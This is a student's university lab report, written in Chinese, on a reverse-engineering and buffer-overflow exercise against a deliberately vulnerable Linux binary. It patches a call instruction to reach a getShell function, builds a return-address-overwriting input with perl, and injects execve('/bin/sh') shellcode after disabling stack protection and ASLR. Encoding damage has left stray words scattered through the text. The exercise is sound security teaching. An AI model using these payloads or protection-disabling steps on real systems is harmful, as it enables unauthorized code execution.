20164319 劉蘊哲 Exp1 PC平臺逆向破解

【實踐內容概述】linux

本次實踐的對象是一個名爲pwn1的linux可執行文件。算法

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。vim

【實踐內容】windows

1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。sass

2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。網絡

3.注入一個本身製做的shellcode並運行這段shellcode。dom

(這幾種思路,基本表明現實狀況中的攻擊目標)函數

1.運行本來不可訪問的代碼片斷工具

2.強行修改程序執行流

3.注入運行任意代碼。

 

【基礎知識】

熟悉Linux基本操做 。

認識經常使用指令,如管道(|),輸入、輸出重定向(>)等。

理解Bof的原理。

看懂彙編、機器指令、EIP、指令地址。

會使用gdb,vi。

 

【實踐步驟】

part.1[修改程序機器指令,改變程序執行流程]

須要掌握知識點:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具

注意要點:

*NOP, JNE, JE, JMP, CMP彙編指令的機器碼

*反彙編指令objdump:

objdump反彙編命令: objdump -f test //顯示test的文件頭信息 objdump -d test //反彙編test中的須要執行指令的那些section objdump -D test //與-d相似,但反彙編test中的全部section objdump -h test //顯示test的Section Header信息 objdump -x test //顯示test的所有Header信息 objdump -s test //除了顯示test的所有Header信息,還顯示他們對應的十六進制文件代碼   xxd命令: 用vi命令打開一個文件,在vi命令模式下輸入 :%!xxd //回車後,該文件會以十六進制形式顯示 :%!xxd -r //參數-r是指將當前的十六進制轉換爲二進制

在認識了反彙編指令以後,首先咱們在桌面 /Desktop 的路徑上打開終端,測試成功以後輸入

objdump -d 20164319pwn1

 

對命名爲「20164319pwn1」的文件進行反彙編。

*修改指令改變程序執行流程(實際舉例)

這裏能夠看到main函數調用foo,對應機器指令爲「 e8 d7ffffff」

那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。

用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。

修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff

首先輸入

vim 20164319pwn1

 

進行編輯模式以後輸入

:%!xxd

將顯示模式切換爲16進制模式如圖

定位到須要修改的地方,輸入

/e8d7 

「d7」修改成「c3」,按ESC鍵退出編輯模式

鍵入:

:%!xxd -r :wq 

轉換16進製爲原格式並保存 

而後再反彙編一下看看call指令是否正確調用getshell:

objdump -d 20164319pwn1 | more 

  

 

 

part.2[經過構造輸入參數,形成BOF攻擊,改變程序執行流]

須要掌握知識點:堆棧結構,返回地址

這裏使用修改前的pwn1文件,命名爲「lyzpwn1」,因爲main 函數調用 foo 函數,foo 函數中存在 Buffer overflow 漏洞,咱們的目標是讓溢出的字節覆蓋返回地址(以下圖,當輸入達到28B時產生溢出)

爲了確認輸入字符串哪幾個字符會覆蓋到返回地址,用gdb命令調試,輸入一個48bit的字符串

輸入

info r 

查看當前寄存器狀態,發現EIP寄存器被0x35353535覆蓋,即當前返回地址爲5555,這就說明剛剛輸入的48B字符串中,含有5的字符串溢出到了EIP中

 

精確判斷字符串中的溢出位置,將「55555555」替換爲「12345678」,繼續調試,觀察具體是哪幾個數字溢出到了EIP寄存器中

發現「1234」那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。

爲了確認用什麼值來覆蓋返回地址,即getShell的內存地址,反彙編時能夠看到,即0804847d(代碼中的順序應爲:\x7d\x84\04\08)

 緊接着,構造輸入字符串,由於咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。

鍵入

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 

 

  

 

使用16進制指令查看文件的內容是否如預期

xxd input

將input的輸入,經過管道符「|」,做爲lyzpwn1的輸入,得到shell

(cat input; cat) | ./lyzpwn1 

 

 

 

 

part.3[注入Shellcode並執行]

 

*shellcode就是一段機器指令(code)

 

一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),

 

因此這段機器指令被稱爲shellcode。

 

在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。

咱們按照實驗指導的要求,複製文件命名爲「4319pwn1」,並給出如下shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ 

準備工做,修改配置,提示找不到execstack命令,先輸入命令進行安裝

apt-get install execstack

而後鍵入如圖


root@kali:~/桌面# execstack -s pwn1                    //設置堆棧可執行 root@kali:~/桌面# execstack -q pwn1                    //查詢文件的堆棧是否可執行 X pwn1 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space 2 root@kali:~/桌面# echo "0" > /proc/sys/kernel/randomize_va_space  //關閉地址隨機化 root@kali:~/桌面# more /proc/sys/kernel/randomize_va_space 0 root@kali:~/桌面#

 

*構造須要注入的Payload

Linux下有兩種基本構造攻擊buf的方法:

(1)retaddr + nop + shellcode

(2)nop + shellcode + retaddr

因爲retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面

緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊

咱們這個buf夠放這個shellcode了

結構爲:nops+shellcode+retaddr。

nop一爲是了填充,二是做爲「着陸區/滑行區」。

咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。

首先,構造32個字符「A」,其後爲retaddr + nop + shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

接下來須要肯定返回地址(即/x4/x3/x2/x1)須要填什麼,所以,注入這段buf如圖

(cat input_shellcode;cat) | ./4319pwn1

 

再開另一個終端,用gdb來調試4319pwn1這個進程(在此以前,須要找到4319pwn1執行的進程號)

ps -ef | grep 4319pwn1    //找到4319pwn1的進程號 gdb             //啓動gdb調試這個進程 attach 3577        //gdb關聯4319pwn1這個進程,開始調試 disassemble foo      //經過設置斷點,來查看注入buf的內存地址 break *0x080484ae    //在另一個終端中按下回車 c              //continue

 

 

鍵入

info r esp

查看esp寄存器,肯定/x4/x3/x2/x1該填什麼

 

 

如圖,看到01020304了,就是返回地址的位置0xffffd2bc。shellcode就挨着,因此地址是0xffffd2c0,xc0/xd2/xff/xff/就是咱們要找的。

*十六進制bit算法,(一開始腦子有點轉不過來,差點算錯,不知道瞎理解的對不對)相鄰間隔4bit,換算這裏bc轉化爲二進制「1011 1100」加上「0000 0100」異或爲「1100 0000」即爲「c0

如圖,得到shell:

(到此,實驗部分總算是作完了)

 

【思想感悟】

這個實驗從時間上看我陸陸續續作了好久,中間一直有大大小小的問題,主要仍是出於對kali和linux系統的不熟悉,在此我要感謝老師的悉心指導,以及在課下幫我排除問題的同窗和耐心指導咱們組員的小組長!!!!真的很感謝,第一次作網絡對抗技術的實驗,讓我有點緊張和懼怕,一直遲遲不敢動手。可是對照着實驗指導結合網上查資料,真正認真研究了以後,我天天研究一點,分好幾天看懂了實驗內容。總結一下這幾天的感悟就是:有問題多問,比起在那裏苦思冥想,直接上手操做得來感悟更真切!並且每一個人的機器操做方面的問題均可能不同,這樣更有益於咱們排查問題,琢磨實踐內容和加深對知識點的理解。雖然大致上主要要求掌握的內容我都理解了,可是也有一部分拓展內容我不是很懂。雖然實踐內容在多方求證和反覆研究實踐下作出來了,可是這也讓我認識到本身在專業知識領域的不足,下定決心要好好研究這方面的內容,此次的實踐真正讓我感覺到了這門課程的有趣之處(雖然頭疼的地方也很多),可是我想相信好的開頭會帶來一個好的方向!也但願我在之後的實驗裏能愈來愈熟練,作的愈來愈快,儘可能獨立自主的理解所有實驗內容。

相關文章
相關標籤/搜索